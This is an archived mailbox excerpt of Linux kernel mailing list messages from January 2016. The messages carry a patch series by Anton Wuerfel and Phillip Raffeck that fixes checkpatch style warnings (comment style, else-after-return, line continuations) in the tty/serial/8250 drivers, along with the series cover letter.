Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754622AbcAMQmi convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:42:38 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46966 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752217AbcAMQjm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:42 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 30D3158C4D0;
	Wed, 13 Jan 2016 17:39:40 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:40 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126013 gmane.linux.ports.parisc:26367
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126013>

=46ixed checkpatch warning about an unnecessary line continuation in a
multi-line variable assignment.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_hp300.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_hp300.c b/drivers/tty/serial/=
8250/8250_hp300.c
index 5e1b464..cf566bb 100644
--- a/drivers/tty/serial/8250/8250_hp300.c
+++ b/drivers/tty/serial/8250/8250_hp300.c
@@ -248,8 +248,8 @@ static int __init hp300_8250_init(void)
=20
 		/* Memory mapped I/O */
 		uart.port.iotype =3D UPIO_MEM;
-		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ \
-			      | UPF_BOOT_AUTOCONF;
+		uart.port.flags =3D UPF_SKIP_TEST | UPF_SHARE_IRQ
+				| UPF_BOOT_AUTOCONF;
 		/* XXX - no interrupt support yet */
 		uart.port.irq =3D 0;
 		uart.port.uartclk =3D HPAPCI_BAUD_BASE * 16;
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 05/15] tty: serial: 8250: Remove else after return
Date: Wed, 13 Jan 2016 17:39:21 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1452703171-5632-6-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703396 430 80.91.229.3 (13 Jan 2016 16:43:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:43:16 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:43:06 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOVl-0006NO-JH
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:43:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754658AbcAMQmz convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:42:55 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46980 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752162AbcAMQjk (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:40 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id D138158C4D4;
	Wed, 13 Jan 2016 17:39:37 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:37 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126015 gmane.linux.ports.parisc:26368
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126015>

This patch fixes checkpatch warnings about unnecessary else blocks afte=
r
return statements.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index 7f9f245..09157fa 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -805,10 +805,10 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
=20
 	pi =3D (c & 0xff);
=20
-	if (pi =3D=3D 2) {
+	if (pi =3D=3D 2)
 		return 1;
-	} else if ((pi =3D=3D 0) &&
-			   (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) {
+
+	if ((pi =3D=3D 0) && (dev->device =3D=3D PCI_DEVICE_ID_NETMOS_9900)) =
{
 		/* two possibilities: 0x30ps encodes number of parallel and
 		 * serial ports, or 0x1000 indicates *something*. This is not
 		 * immediately obvious, since the 2s1p+4s configuration seems
@@ -816,12 +816,11 @@ static int pci_netmos_9900_numports(struct pci_de=
v *dev)
 		 * advertising the same function 3 as the 4s+2s1p config.
 		 */
 		sub_serports =3D dev->subsystem_device & 0xf;
-		if (sub_serports > 0) {
+		if (sub_serports > 0)
 			return sub_serports;
-		} else {
-			dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on a=
mbiguous config.\n");
-			return 0;
-		}
+
+		dev_err(&dev->dev, "NetMos/Mostech serial driver ignoring port on am=
biguous config.\n");
+		return 0;
 	}
=20
 	moan_device("unknown NetMos/Mostech program interface", dev);
--=20
1.9.1



From - Thu Nov 08 21:38:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 04/15] tty: serial: 8250: Fix multiline comment style
Date: Wed, 13 Jan 2016 17:39:20 +0100
Lines: 188
Approved: news@gmane.org
Message-ID: <1452703171-5632-5-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703513 2773 80.91.229.3 (13 Jan 2016 16:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:45:13 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:45:04 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOXe-0007r8-S4
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:45:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754765AbcAMQou convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:44:50 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46966 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752987AbcAMQjj (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:39 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id B8E5A58C4CE;
	Wed, 13 Jan 2016 17:39:36 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:36 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126021 gmane.linux.ports.parisc:26369
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126021>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     |  6 ++++--
 drivers/tty/serial/8250/8250_port.c    | 31 ++++++++++++++++----------=
-----
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 45 insertions(+), 30 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..086bd00 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the
+		 * receive line status interrupt
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable modem
+		 * mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..ffa7354 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -367,8 +367,10 @@ static const struct pnp_device_id pnp_dev_table[] =
=3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track
+	 * of it to prevent the legacy serial driver from probing it
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
 	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..99f709c 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should b=
e
+	 * configured less than Maximum supported fifo bytes
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,22 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be u=
sed
+	 * for Serial Over Lan.  Those chips take a longer time than a normal
+	 * serial device to signalize that a transmission data was queued. Du=
e
+	 * to that, the above test generally fails. One solution would be to
+	 * delay the reading of iir. However, this is not reliable, since the
+	 * timeout is variable. So, let's just don't test if we receive TX ir=
q.
+	 * This way, we'll never enable UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable t=
he
+	 * TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..1f34867 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH v5 00/15] tty: serial: 8250: Fix checkpatch warnings
Date: Wed, 13 Jan 2016 17:39:16 +0100
Lines: 93
Approved: news@gmane.org
Message-ID: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1452703529 3034 80.91.229.3 (13 Jan 2016 16:45:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:45:29 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 13 17:45:19 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJOXu-00084Z-Sq
	for glk-linux-kernel-3@plane.gmane.org; Wed, 13 Jan 2016 17:45:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753789AbcAMQjj (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 13 Jan 2016 11:39:39 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46871 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752162AbcAMQjf (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:35 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 411A358C4C6;
	Wed, 13 Jan 2016 17:39:32 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:32 +0100
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126022 gmane.linux.ports.parisc:26370
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126022>

Hello Andy,

thanks for your patch review. We tried to apply your suggested changes.

Regards,
Anton Wuerfel
Phillip Raffeck

This patch set fixes several checkpatch warnings in tty/serial/8250.

Patch 1/15:  Adds missing spaces (mainly to function/macro headers)
Patch 2/15:  Replace spaces with tabs wherever possible
Patch 3/15:  Slight patch which moves an opening curly brace
Patch 4/15:  Fixes multiline comment style
Patch 5/15:  Removes else blocks after return statements
Patch 6/15:  Slight patch which moves EXPORT_SYMBOL macro to correct
position
Patch 7/15:  Slight patch which removes an unneccessary line continuation
Patch 8/15:  Slight patch which adds parentheses to a macro definition
Patch 9/15:  Merges user-visible multiline strings to a single line
Patch 10/15: Replace printk by dev_* or pr_* where appropriate
Patch 11/15: Remove orphaned debug macro
Patch 12/15: Fix warnings in dev_dbg by adding two casts
Patch 13/15: Fixes code indentation
Patch 14/15: Add a generic port macro
Patch 15/15: Refactor a switch/case statement

Remaining checkpatch warnings after applying this patch series:

-line over 80 characters
	This error mostly occurs in serial_cs.c, which contains long-lined
	macro calls. However, splitting these calls into multiple lines would
	not increase readability.

-externs should be avoided in .c files
	This occurs in 8250_hp300.c. There is no corresponding header file
	the extern statement could be moved to. It could be moved to 8250.h
	but this would affect other .c files.

-Use #include <linux/*.h> instead of <asm/*.h>
	This warning has been left open for more experienced kernel hackers.
	This patch series is about style issues. We do not intend to alter
	the code behavior.
-struct uart_ops should normally be const
	This warning only occurs in 8250_core.c. The corresponding struct
	cannot be declared as const because it is altered in
	serial8250_isa_init_ports(). Maybe a checkpatch exception should
	be added for this particular warning.

-quoted string split across lines
	These strings were ignored because they otherwise would exceed
	80 characters in a single line. These particular strings use
	format specifiers, which break the ability to grep for them anyway.

Anton Wuerfel (15):
Phillip Raffeck (15):
  tty: serial: 8250: Fix whitespace errors
  tty: serial: 8250: Replace spaces with tabs
  tty: serial: 8250: Fix braces after struct
  tty: serial: 8250: Fix multiline comment style
  tty: serial: 8250: Remove else after return
  tty: serial: 8250: Move EXPORT_SYMBOL to function
  tty: serial: 8250: Fix line continuation warning
  tty: serial: 8250: Add parentheses to macro
  tty: serial: 8250: Fix multi-line strings
  tty: serial: 8250: Correct conversion specifiers
  tty: serial: 8250: Fix indentation warnings
  tty: serial: 8250: Add generic port init macro
  tty: serial: 8250: Merge duplicate conditions
  tty: serial: 8250: Suitably replace printk
  tty: serial: 8250: Remove SERIAL_DEBUG_PNP macro

 drivers/tty/serial/8250/8250.h               | 12 ++++
 drivers/tty/serial/8250/8250_accent.c        | 13 +---
 drivers/tty/serial/8250/8250_acorn.c         |  2 +-
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++-------
 drivers/tty/serial/8250/8250_core.c          | 15 ++---
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++----
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++-----
 drivers/tty/serial/8250/8250_gsc.c           |  7 ++-
 drivers/tty/serial/8250/8250_hp300.c         | 27 +++++----
 drivers/tty/serial/8250/8250_hub6.c          |  2 +-
 drivers/tty/serial/8250/8250_ingenic.c       | 12 ++--
 drivers/tty/serial/8250/8250_pci.c           | 55 +++++++++--------
 drivers/tty/serial/8250/8250_pnp.c           | 20 ++++---
 drivers/tty/serial/8250/8250_port.c          | 46 +++++++-------
 drivers/tty/serial/8250/serial_cs.c          | 89 +++++++++++++++-------------
 15 files changed, 195 insertions(+), 191 deletions(-)

-- 
1.9.1



From - Thu Nov 08 21:38:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v5 01/15] tty: serial: 8250: Fix whitespace errors
Date: Wed, 13 Jan 2016 17:39:17 +0100
Lines: 304
Approved: news@gmane.org
Message-ID: <1452703171-5632-2-git-send-email-anton.wuerfel@fau.de>
References: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452703611 4314 80.91.229.3 (13 Jan 2016 16:46:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Jan 2016 16:46:51 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Anton Wuerfel <anton.wuerf
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 13 17:46:42 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJOZD-0000Yv-Mg
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Jan 2016 17:46:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754858AbcAMQqN convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Jan 2016 11:46:13 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:46892 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752211AbcAMQjg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Jan 2016 11:39:36 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 5F8FE58C4C8;
	Wed, 13 Jan 2016 17:39:33 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Wed, 13 Jan 2016 17:39:33 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452703171-5632-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
